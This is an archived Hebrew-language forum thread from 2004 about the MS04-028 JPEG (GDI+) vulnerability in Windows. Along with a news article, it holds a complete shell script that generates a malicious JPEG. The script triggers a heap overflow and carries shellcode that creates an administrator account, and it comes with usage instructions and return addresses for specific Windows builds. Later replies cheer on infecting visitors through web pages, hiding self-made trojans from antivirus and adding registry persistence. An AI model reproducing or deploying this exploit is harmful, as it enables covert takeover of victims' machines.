Logo

רד-בורד: ארכיון

ראשי > אבטחת מידע > חור אבטחה בפורמט התמונות JPEG.

23/09/2004 19:06:28 cp77fk4r
התגלה היום באג במנגנון הצפיה של הפורמט JPEG, המאפשר להחדיר קוד זדוני לתמונות וכאשר מישהו יצפה בתמונות- הקוד יורץ- הבאג תוקן בSP2.

הכתבה בוואלה:
ההימורים כבר החלו - כמה זמן לדעתם ייקח עד שמחשבי העולם יתחילו להידבק מקבצי תמונה?

מדובר על פרצת אבטחה במערכות ההפעלה והתוכנות מבית מיקרוסופט, שמאפשרת להסתיר קוד זדוני בקבצי תמונה מפורמט JPEG. ההידבקות בווירוס שינצל את הפרצה עלולה להיות מהירה, זאת משום שאפילו גלישה לאתר נגוע המכיל קבצי JPEG, עלולה להדביק את המחשב באופן מידי.

רשימת המערכות החשופות לפגיעה היא ארוכה וכוללת את Windows XP, windows server 2003, אופיס XP, אופיס 2003, אינטרנט אקספלורר 6, Visio ועוד. מחשבים שכבר התקינו את חבילת העדכונים SP2 אינם חשופים לפגיעה, אם כי מספרם מועט עדיין, כך על פי מיקרוסופט.


מיקרוסופט חשפה את הפרצה ושחררה עבורה טלאי כבר לפני כשבועיים, וסביר להניח שבאותו הרגע האקרי העולם כבר החלו לחפש את הדרכים כיצד אפשר לנצלה. אולם, אתמול הם קיבלו רוח גבית חזקה, בדמותה של תוכנת הדגמה ששוחררה לרשת, ומסבירה בדיוק איך אפשר לחבר קוד זדוני שאפשר להטמינו בקבצי JPEG.

"סביר להניח שתוך מספר ימים, תראו התקפות שישתמשו במדריך זה כבסיס" אמר ל- CNET וינסנט וופר, מנהל בכיר בחברת סימנטק. "פרצה זו מסוכנת במיוחד, משום שכל אחד מריץ, במידה כזו או אחרת, קבצי JPEG" .

ההיסטוריה מוכיחה כי מדריך לניצול פרצת אבטחה הינו זרז מעולה ליציאתם של קודים זדוניים המנצלים את הפרצה. מדריך דומה הקדים בכמה ימים את התולעת MSBlast ואפילו את תולעת ה- Sasser הקטלנית.


לינק לפאצ’:
http://www.microsoft.com/security/bulletins/200409_jpeg.mspx

לינק לקובץ תמונת JPEG כזאת:
http://www.gulftech.org/downloads/?file_id=00020

נתונים מSp2 עם הקובץ:
הצגת תיקיה בעלת הקובץ הנ"ל- סוגר את חלון התיקיה בהודעת ארור, סוגר את הExplorer (לא הדפדפן)- אבל הSp2 מעלה אותו מחדש.

הצגת הקובץ- סוגר את חלון הצפיה בהודעת ארור.
23/09/2004 21:10:19 Sonik
מה בדיוק זה עושה?
מה קורה למי שנדבק?
23/09/2004 21:20:19 cp77fk4r
בקשר לתמונה שאליה נתתי לינק- בתמונה יש קוד שפשוט מציף כמה דברים במערכת הפעלה- וגורם לה לקרוס (איתחול מהיר- והכל כמו חדש).

אבל אפשר ליצור קבצי תמונה בעלי קוד קצת יותר מתוחכם- ופשוט לגרום למחשב להוריד קבצים ולהריץ אותם, לשלוח כל מני מידע ממנו, להוריד למחשב וירוסים או טרויאנים.. כל מה שעולה לך בראש שאפשר לתכנת...
23/09/2004 23:52:55 Tachmar1900
וואו נשמע נחמד!!!

אבל איך בדיוק מכניסים את הקוד, בקובץ מצורף "על" התמונה??? בזמן שרואים את התמונה מחשב אחר מוריד לך את הקוד לאתר??
איך?
24/09/2004 00:33:08 cp77fk4r
אני אביא יותר מאוחר טקסט על זה- אבל הרעיון הוא שמכניסים את הקוד במקום שהקובץ שומר את הפרמטרים של הפיקסלים- וכשהתוכנה טוענת אותו היא מריצה את הקוד ששטלת בפנים.
24/09/2004 00:56:42 cp77fk4r
זה הקוד (עם הסבר) ליצירת קבצי Jpeg בעלי פוגע.
קוד:
#!/bin/sh
#
# MS04-028 Exploit PoC II with Shellcode: CreateUser X in Administrators Group
#
# Tested on:
# WinXP Professional English SP1 - GDIPLUS.DLL version 5.1.3097.0
# WinXP Professional Italian SP1 - GDIPLUS.DLL version 5.1.3101.0
# (SP2 is not vulnerable, don’t waste your time trying this exploit on it!)
#
# Usage:
# first, replace the "\xCC" = INT3 instruction at beginning of shellcode
# second, choose a right ret address for GDI+ DLL and WinXP version
# then, create crafted JPEG with: sh ms04-028.sh > img.jpg
#
# Created by:
# Elia Florio
# (heap overflow study purpose, not for lamerz, not for script-kiddie)
#
# Thanx to:
# jerome.athias
# metasploit.org
# idefense
# full-disclosure list

#********************************************
#Standard JPEG header
#********************************************
printf "\xFF\xD8\xFF\xE0\x00\x10\x4A\x46\x49\x46\x00\x01\x02\x00\x00\x64\x00\x60\x00\x00"
printf "\xFF\xEC\x00\x11\x44\x75\x63\x6B\x79\x00\x01\x00\x04\x00\x00\x00\x0A\x00\x00"
printf "\xFF\xEE\x00\x0E\x41\x64\x6F\x62\x65\x00\x64\xC0\x00\x00\x00\x01"

#********************************************
#Heap Overflow Trigger DWORD - 00 length field (01 works too)
#********************************************
printf "\xFF\xFE\x00\x01"


#********************************************
#Additional stuff to complete the header
#********************************************
printf "\x00\x14\x10\x10\x19\x12\x19\x27\x17\x17\x27\x32"


#********************************************
#Sugg. by jerome.athias
# 1) Opening directly in IE
#Address to overwrite = RtlEnterCriticalSelection() - 4
#Check page 172 of SC Handbook for those of you playing along at home
#********************************************
printf "\xEB\x0F\x26\x32" #control ECX register


#********************************************
#Address of shellcode
#********************************************
printf "\x42\x42\x42\x42" #control EDX, left these values if u wanna raise an exception and debug in GDI+
#printf "\xDC\xB1\xE7\x70" #70E7B1DC WinXP Professional English SP1 -GDIPLUS.DLL version 5.1.3097.0
#printf "\xDC\xB1\x30\x78" #7830B1DC WinXP Professional Italian SP1 -GDIPLUS.DLL version 5.1.3101.0


#********************************************
#end_of_jpeg_header
#********************************************
printf "\x26\x2E\x3E\x35\x35\x35\x35\x35\x3E"
#NOP1
printf "\xE8\x00\x00\x00\x00\x5B\x8D\x8B"
printf "\x00\x05\x00\x00\x83\xC3\x12\xC6\x03\x90\x43\x3B\xD9\x75\xF8"

#********************************************
#Image junk here...fake JPG
#********************************************
printf
"\x00\x00\x00\xFF\xDB\x00\x43\x00\x08\x06\x06\x07\x06\x05\x08\x07\x07";
printf
"\x07\x09\x09\x08\x0A\x0C\x14\x0D\x0C\x0B\x0B\x0C\x19\x12\x13\x0F\x14";
printf
"\x1D\x1A\x1F\x1E\x1D\x1A\x1C\x1C\x20\x24\x2E\x27\x20\x22\x2C\x23\x1C";
printf
"\x1C\x28\x37\x29\x2C\x30\x31\x34\x34\x34\x1F\x27\x39\x3D\x38\x32\x3C";
printf
"\x2E\x33\x34\x32\xFF\xDB\x00\x43\x01\x09\x09\x09\x0C\x0B\x0C\x18\x0D";
printf
"\x0D\x18\x32\x21\x1C\x21\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32";
printf
"\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32";
printf
"\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32";
printf
"\x32\x32\x32\x32\x32\xFF\xC0\x00\x11\x08\x00\x03\x00\x03\x03\x01\x22";
printf
"\x00\x02\x11\x01\x03\x11\x01\xFF\xC4\x00\x1F\x00\x00\x01\x05\x01\x01";
printf
"\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05";
printf
"\x06\x07\x08\x09\x0A\x0B\xFF\xC4\x00\xB5\x10\x00\x02\x01\x03\x03\x02";
printf
"\x04\x03\x05\x05\x04\x04\x00\x00\x01\x7D\x01\x02\x03\x00\x04\x11\x05";
printf
"\x12\x21\x31\x41\x06\x13\x51\x61\x07\x22\x71\x14\x32\x81\x91\xA1\x08";
printf
"\x23\x42\xB1\xC1\x15\x52\xD1\xF0\x24\x33\x62\x72\x82\x09\x0A\x16\x17";
printf
"\x18\x19\x1A\x25\x26\x27\x28\x29\x2A\x34\x35\x36\x37\x38\x39\x3A\x43";
printf
"\x44\x45\x46\x47\x48\x49\x4A\x53\x54\x55\x56\x57\x58\x59\x5A\x63\x64";
printf
"\x65\x66\x67\x68\x69\x6A\x73\x74\x75\x76\x77\x78\x79\x7A\x83\x84\x85";
printf
"\x86\x87\x88\x89\x8A\x92\x93\x94\x95\x96\x97\x98\x99\x9A\xA2\xA3\xA4";
printf
"\xA5\xA6\xA7\xA8\xA9\xAA\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xBA\xC2\xC3";
printf
"\xC4\xC5\xC6\xC7\xC8\xC9\xCA\xD2\xD3\xD4\xD5\xD6\xD7\xD8\xD9\xDA\xE1";
printf
"\xE2\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8";
printf
"\xF9\xFA\xFF\xC4\x00\x1F\x01\x00\x03\x01\x01\x01\x01\x01\x01\x01\x01";
printf
"\x01\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A";
printf
"\x0B\xFF\xC4\x00\xB5\x11\x00\x02\x01\x02\x04\x04\x03\x04\x07\x05\x04";
printf
"\x04\x00\x01\x02\x77\x00\x01\x02\x03\x11\x04\x05\x21\x31\x06\x12\x41";
printf
"\x51\x07\x61\x71\x13\x22\x32\x81\x08\x14\x42\x91\xA1\xB1\xC1\x09\x23";
printf
"\x33\x52\xF0\x15\x62\x72\xD1\x0A\x16\x24\x34\xE1\x25\xF1\x17\x18\x19";
printf
"\x1A\x26\x27\x28\x29\x2A\x35\x36\x37\x38\x39\x3A\x43\x44\x45\x46\x47";
printf
"\x48\x49\x4A\x53\x54\x55\x56\x57\x58\x59\x5A\x63\x64\x65\x66\x67\x68";
printf
"\x69\x6A\x73\x74\x75\x76\x77\x78\x79\x7A\x82\x83\x84\x85\x86\x87\x88";
printf
"\x89\x8A\x92\x93\x94\x95\x96\x97\x98\x99\x9A\xA2\xA3\xA4\xA5\xA6\xA7";
printf
"\xA8\xA9\xAA\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xBA\xC2\xC3\xC4\xC5\xC6";
printf
"\xC7\xC8\xC9\xCA\xD2\xD3\xD4\xD5\xD6\xD7\xD8\xD9\xDA\xE2\xE3\xE4\xE5";
printf
"\xE6\xE7\xE8\xE9\xEA\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xFA\xFF\xDA\x00";
printf
"\x0C\x03\x01\x00\x02\x11\x03\x11\x00\x3F\x00\xF9\xFE\x8A\x28\xA0\x0F";

#********************************************
#"A" buffer
#********************************************
perl -e ’print "\x41"x1601’; #buffer 1601 x NOP

#********************************************
#SHELLCODE AREA
#place shellcode here...
#don’t use any "FFD9" bytes, cause it is the marker for end of jpeg image
#********************************************
printf "\xCC\x90\x90\x90"; #replace "CC=INT3" byte with NOP to make it
works!

#********************************************
#shellcode: CreateUserX as Administrator (provided by Metasploit, thanx for
your Framework, is great!)
#********************************************
printf "\x66\x81\xec\x80\x00\x89\xe6\xe8\xb7\x00\x00\x00\x89\x06\x89\xc3"
printf "\x53\x68\x7e\xd8\xe2\x73\xe8\xbd\x00\x00\x00\x89\x46\x0c\x53\x68"
printf "\x8e\x4e\x0e\xec\xe8\xaf\x00\x00\x00\x89\x46\x08\x31\xdb\x53\x68"
printf "\x70\x69\x33\x32\x68\x6e\x65\x74\x61\x54\xff\xd0\x89\x46\x04\x89"
printf "\xc3\x53\x68\x5e\xdf\x7c\xcd\xe8\x8c\x00\x00\x00\x89\x46\x10\x53"
printf "\x68\xd7\x3d\x0c\xc3\xe8\x7e\x00\x00\x00\x89\x46\x14\x31\xc0\x31"
printf "\xdb\x43\x50\x68\x72\x00\x73\x00\x68\x74\x00\x6f\x00\x68\x72\x00"
printf "\x61\x00\x68\x73\x00\x74\x00\x68\x6e\x00\x69\x00\x68\x6d\x00\x69"
printf "\x00\x68\x41\x00\x64\x00\x89\x66\x1c\x50\x68\x58\x00\x00\x00\x89"
printf "\xe1\x89\x4e\x18\x68\x00\x00\x5c\x00\x50\x53\x50\x50\x53\x50\x51"
printf "\x51\x89\xe1\x50\x54\x51\x53\x50\xff\x56\x10\x8b\x4e\x18\x49\x49"
printf "\x51\x89\xe1\x6a\x01\x51\x6a\x03\xff\x76\x1c\x6a\x00\xff\x56\x14"
printf "\xff\x56\x0c\x56\x6a\x30\x59\x64\x8b\x01\x8b\x40\x0c\x8b\x70\x1c"
printf "\xad\x8b\x40\x08\x5e\xc2\x04\x00\x53\x55\x56\x57\x8b\x6c\x24\x18"
printf "\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01"
printf "\xeb\xe3\x32\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc\x31\xc0\xac\x38"
printf "\xe0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c\x24\x14\x75\xe1"
printf "\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04"
printf "\x8b\x01\xe8\xeb\x02\x31\xc0\x89\xea\x5f\x5e\x5d\x5b\xc2\x08\x00";

#********************************************
#end_of_jpeg
#********************************************
printf "\


נלקח מ:
http://www.k-otik.com/exploits/09232004.ms04-28-admin.sh.php


מומלץ מאוד לקרוא אותו, אהבתי במיוחד את השורה:
"(heap overflow study purpose, not for lamerz, not for script-kiddie)"
חח =)
24/09/2004 02:43:55 -Hawk-
פשששש
משהו חזק הא?
צריך SP 2 דחוף
סיפי יש לי ווינדוס לא חוקי
וכל פעם שאנ עושה אפדייט הוא עושה לי בעיות עם הפסוורד
אני יתקין את הSP 2?
מה אתה אומר?
כי אין לי כח שהוא שוב יעשה לי בעיות עם הפסוורד

HAWK, שמייייייל![ההודעה נערכה על-ידי cp77fk4r ב-24/09/2004 03:06:02]
24/09/2004 03:07:26 cp77fk4r
תעשה מה בראש אחי,מצד אחד זה יעזור וישפר את הביצועים, מצד שני, גם לSp2 יש גם חורי אבטחה.. שום דבר לא מושלם בעולם, גם מבחינת אבטחה.
24/09/2004 13:23:02 Sonik
סיפי לא הבנתי איך בדיוק אתה יוצר את הקובץ Jpg .. וגם איפה אני יכול לרשום קוד שיעשה משהו שאני רוצה..
24/09/2004 15:48:12 cp77fk4r
אחי, לפני הקוד שנתתי, יש הסברים, זה כתוב שם.
26/09/2004 15:49:07 BATTERY
פשש.. נשמע חזק... חחח זה באמת הולך להיות משהו טוב.. תודה על המידע cp77fk4r ... לי כבר יש sp2..
26/09/2004 19:32:13 cp77fk4r
שמח לעזור.
וכן, זה באמת דבר מאוד קריטי, כי אפשר בקלות לבנות עמוד HTML שבתוכו יש תמונה כזאת- וכל מי שנכנס, בלי לדעת, ישר נדבק...

דבר אחד שלא הבנתי, מייקרוסופט גילתה את זה, למה היא לא השתיקה את זה ופשוט פרסמה "פאצ’ לחור קריטי בSp1", כשהיא אמרה שזה בJpeg - היא ישר הקפיצה את כולם, וכולם חיפשו במה מדובר, וככה נכתבו הטקסטים.. אבל מי אני שאחפס דברים הגיוניים במייקרוסופט..
27/09/2004 15:52:02 Enimos
הורדתי את הקובץ שנתת ואנטיוירוס שלי איתר אותו אוטומטית ושאל אותי אם למחוק ומחקתי אז זה אומר שיש הגנה לדברים האלה גם בלי פאצ’ים נוסח מייקרוסופט... אגב אני משתמש במקאפי 8...
27/09/2004 18:03:22 cp77fk4r
נכון, אתה צודק אנימוס, אבל עדיין, יותר בטוח שלא יהיה בור בכלל מזה שיש לך כל מני אפלקציות ששומרים עליך כדי שלא תפול לתוך הבור.
27/09/2004 18:53:43 Enimos
אי רצון ואי כוח להוריד Service Fuck 2 ...
27/09/2004 19:14:26 cp77fk4r
חחח, או יותר נכון- "אי כוח ועצלנות לעבור למערכת לינוקסאית".
27/09/2004 23:01:29 Enimos
אין פוטושופ ואין פלאש ללינוקס. אחרת הייתי כבר מזמן בלינוקס.
27/09/2004 23:43:01 cp77fk4r
ולכן יש אפשרות להתקין שני מערכות הפעלה או יותר באותו מחשב.
אבל זה נושא כבר לפורום מערכות.

אגב, אהבתי את החתימה, תתחדש.
28/09/2004 00:04:06 Enimos
תודה אתה מוזמן להגיב בפורום חתימות עליה (:
28/09/2004 22:30:53 1shim
סיפי- אני דיברתי על הנושא הזה כאן, עיינתי שם וקפצה לי השאלה הזו, אז תומר לי בבקשה הקובץ הזה שמדובר עליו "נתגלה חור אבטחה....." אם יש בא איזה ערס, והקובץ יושב סגור בתיקיה או באוטלוק ולא נפתח, האם הוא יכל להפעיל את עצמו על המחשב שלי למשל או כל מחשב אחר? מבלי שיפתח?
28/09/2004 23:29:24 Alpha1
הורדתי סרבס פאק 2 שום דינוי דרמטי לא רואה כמו שכולם מדברים...

חוץ מזה, סיפי, רגע, אפשר להשטיל בקוד טרויאין שאתה בונה בעצמך(כדי שהאנטיווירוס לא ידע :-)
ואז פשוט...חח...בעצם אפשר לעשות כלכך הרבה דברים, ווירוס, טרויאן,
SPYWARE
המממממ......
בעעעעעעעע.....מיקרוסופט כאלה שקופים...רוצים רק כסף, עושים עידכונים שמתגלים כ לא פותרים את הבעיה שאמורים לפתור.
ווינדוס עם מלא חורי אבטחה שעל החרים שלהם אנכנו רק משלמים...

-----------------------------
אני לא מבין רק דבר אחד(!)
עם הכסף שיש להם הם יכולים לקחת ולהחליף את כל המתכנתים בחברה למתכנתים גאונים! שיודעים בידיוק מה עושים ולא עושים פאשלות או שמייקרוסופט סתם לקחה מתכנתים שרק אתמול למדו להשתמש בעכבר ובמקלדת...וכל זה בשביל לחסוך כסף...עעעעעעעעע מיקרוסופט צבועים-בעעע
28/09/2004 23:32:18 Alpha1
1shim
ניראה לי שאפשר להכניס עם איזה פקודה קוד לרג’יסטר שיפעיל בעת הפעלת המחשב את הקובץ, או ש...חח...סים את הקובץ באתר אינטרנט ותעשה שהאתר ראה כמו אתר רגיל ואז כמובן זה ירוץ על המחשב שלו,
אבל עם יש לו סרבר פאק 2 אז אפילו אל תנסה.
עמודים: 1